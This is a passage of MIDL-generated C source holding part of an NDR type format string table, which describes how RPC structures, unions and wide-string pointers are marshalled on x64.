*/\n\t\t\t0x0,\t\t/* 0 */\n/* 356 */\tNdrFcShort( 0xffc2 ),\t/* Offset= -62 (294) */\n/* 358 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 360 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 362 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 364 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 366 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (372) */\n/* 368 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 370 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 372 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 374 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (318) */\n/* 376 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 378 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 380 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 382 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (382) */\n/* 384 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 386 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 388 */\tNdrFcShort( 0xff64 ),\t/* Offset= -156 (232) */\n/* 390 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 392 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 394 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (396) */\n/* 396 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 398 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 400 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 402 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 404 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 406 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 410 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 414 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (416) */\n/* 416 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 418 */\tNdrFcShort( 0x3002 ),\t/* 12290 */\n/* 420 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 424 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (434) */\n/* 426 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 430 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (438) */\n/* 432 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (431) */\n/* 434 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 436 */\tNdrFcShort( 0xfe80 ),\t/* Offset= -384 (52) */\n/* 438 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 440 */\tNdrFcShort( 0xff6e ),\t/* Offset= -146 (294) */\n/* 442 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 444 */\tNdrFcShort( 0x1ea ),\t/* Offset= 490 (934) */\n/* 446 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 448 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 450 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 452 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 454 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 456 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 460 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 464 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (466) */\n/* 466 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 468 */\tNdrFcShort( 0x3005 ),\t/* 12293 */\n/* 470 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 474 */\tNdrFcShort( 0x1c ),\t/* Offset= 28 (502) */\n/* 476 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 480 */\tNdrFcShort( 0x62 ),\t/* Offset= 98 (578) */\n/* 482 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 486 */\tNdrFcShort( 0xb2 ),\t/* Offset= 178 (664) */\n/* 488 */\tNdrFcLong( 0xa ),\t/* 10 */\n/* 492 */\tNdrFcShort( 0x106 ),\t/* Offset= 262 (754) */\n/* 494 */\tNdrFcLong( 0x1f6 ),\t/* 502 */\n/* 498 */\tNdrFcShort( 0x154 ),\t/* Offset= 340 (838) */\n/* 500 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (499) */\n/* 502 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 504 */\tNdrFcShort( 0x3a ),\t/* Offset= 58 (562) */\n/* 506 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 508 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 510 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 512 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (516) */\n/* 514 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 516 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 518 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 520 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 522 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 524 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 526 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 528 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 530 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 532 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 536 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 540 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 544 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 546 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 548 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 552 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 556 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 558 */\tNdrFcShort( 0xffcc ),\t/* Offset= -52 (506) */\n/* 560 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 562 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 564 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 566 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 568 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (574) */\n/* 570 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 572 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 574 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 576 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (520) */\n/* 578 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 580 */\tNdrFcShort( 0x44 ),\t/* Offset= 68 (648) */\n/* 582 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 584 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 586 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 588 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (598) */\n/* 590 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 592 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 594 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 596 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 598 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 600 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 602 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 604 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 606 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 608 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 610 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 612 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 614 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 616 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 618 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 622 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 626 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 630 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 632 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 634 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 638 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 642 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 644 */\tNdrFcShort( 0xffc2 ),\t/* Offset= -62 (582) */\n/* 646 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 648 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 650 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 652 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 654 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (660) */\n/* 656 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 658 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 660 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 662 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (606) */\n/* 664 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 666 */\tNdrFcShort( 0x48 ),\t/* Offset= 72 (738) */\n/* 668 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 670 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 672 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 674 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (684) */\n/* 676 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 678 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 680 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 682 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 684 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 686 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 688 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 690 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 692 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 694 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 696 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 698 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 700 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 702 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 704 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 706 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 708 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 712 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 716 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 720 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 722 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 724 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 728 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 732 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 734 */\tNdrFcShort( 0xffbe ),\t/* Offset= -66 (668) */\n/* 736 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 738 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 740 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 742 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 744 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (750) */\n/* 746 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 748 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 750 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 752 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (696) */\n/* 754 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 756 */\tNdrFcShort( 0x42 ),\t/* Offset= 66 (822) */\n/* 758 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 760 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 762 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 764 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (772) */\n/* 766 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 768 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 770 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 772 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 774 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 776 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 778 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 780 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 782 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 784 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 786 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 788 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 790 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 792 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 796 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 800 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 804 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 806 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 808 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 812 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 816 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 818 */\tNdrFcShort( 0xffc4 ),\t/* Offset= -60 (758) */\n/* 820 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 822 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 824 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 826 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 828 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (834) */\n/* 830 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 832 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 834 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 836 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (780) */\n/* 838 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 840 */\tNdrFcShort( 0x4e ),\t/* Offset= 78 (918) */\n/* 842 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 844 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 846 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 848 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (860) */\n/* 850 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 852 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 854 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 856 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 858 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 860 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 862 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 864 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 866 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 868 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 870 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 872 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 874 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 876 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 878 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 880 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 882 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 884 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 886 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 888 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 892 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 896 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 900 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 902 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 904 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 908 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 912 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 914 */\tNdrFcShort( 0xffb8 ),\t/* Offset= -72 (842) */\n/* 916 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 918 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 920 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 922 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 924 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (930) */\n/* 926 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 928 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 930 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 932 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (876) */\n/* 934 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 936 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 938 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 940 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (940) */\n/* 942 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 944 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 946 */\tNdrFcShort( 0xfe0c ),\t/* Offset= -500 (446) */\n/* 948 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 950 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 952 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (954) */\n/* 954 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 956 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 958 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 960 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 962 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 964 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 968 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 972 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (974) */\n/* 974 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 976 */\tNdrFcShort( 0x300a ),\t/* 12298 */\n/* 978 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 982 */\tNdrFcShort( 0x3a ),\t/* Offset= 58 (1040) */\n/* 984 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 988 */\tNdrFcShort( 0x46 ),\t/* Offset= 70 (1058) */\n/* 990 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 994 */\tNdrFcShort( 0x5a ),\t/* Offset= 90 (1084) */\n/* 996 */\tNdrFcLong( 0x1f6 ),\t/* 502 */\n/* 1000 */\tNdrFcShort( 0x7c ),\t/* Offset= 124 (1124) */\n/* 1002 */\tNdrFcLong( 0x3ec ),\t/* 1004 */\n/* 1006 */\tNdrFcShort( 0xba ),\t/* Offset= 186 (1192) */\n/* 1008 */\tNdrFcLong( 0x3ee ),\t/* 1006 */\n/* 1012 */\tNdrFcShort( 0xfdbe ),\t/* Offset= -578 (434) */\n/* 1014 */\tNdrFcLong( 0x5dd ),\t/* 1501 */\n/* 1018 */\tNdrFcShort( 0xc0 ),\t/* Offset= 192 (1210) */\n/* 1020 */\tNdrFcLong( 0x3ed ),\t/* 1005 */\n/* 1024 */\tNdrFcShort( 0xfdb2 ),\t/* Offset= -590 (434) */\n/* 1026 */\tNdrFcLong( 0x1f5 ),\t/* 501 */\n/* 1030 */\tNdrFcShort( 0xde ),\t/* Offset= 222 (1252) */\n/* 1032 */\tNdrFcLong( 0x1f7 ),\t/* 503 */\n/* 1036 */\tNdrFcShort( 0xf4 ),\t/* Offset= 244 (1280) */\n/* 1038 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1038) */\n/* 1040 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1042 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1044) */\n/* 1044 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1046 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1048 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1050 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (1054) */\n/* 1052 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1054 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1056 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1058 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1060 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1062) */\n/* 1062 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1064 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1066 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1068 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (1076) */\n/* 1070 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1072 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1074 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1076 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1078 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1080 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1082 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1084 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1086 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1088) */\n/* 1088 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1090 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 1092 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1094 */\tNdrFcShort( 0xe ),\t/* Offset= 14 (1108) */\n/* 1096 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1098 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1100 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1102 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1104 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1106 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1108 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1110 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1112 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1114 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1116 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1118 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1120 */\t\n\t\t\t0x12, 0x8,\t/* 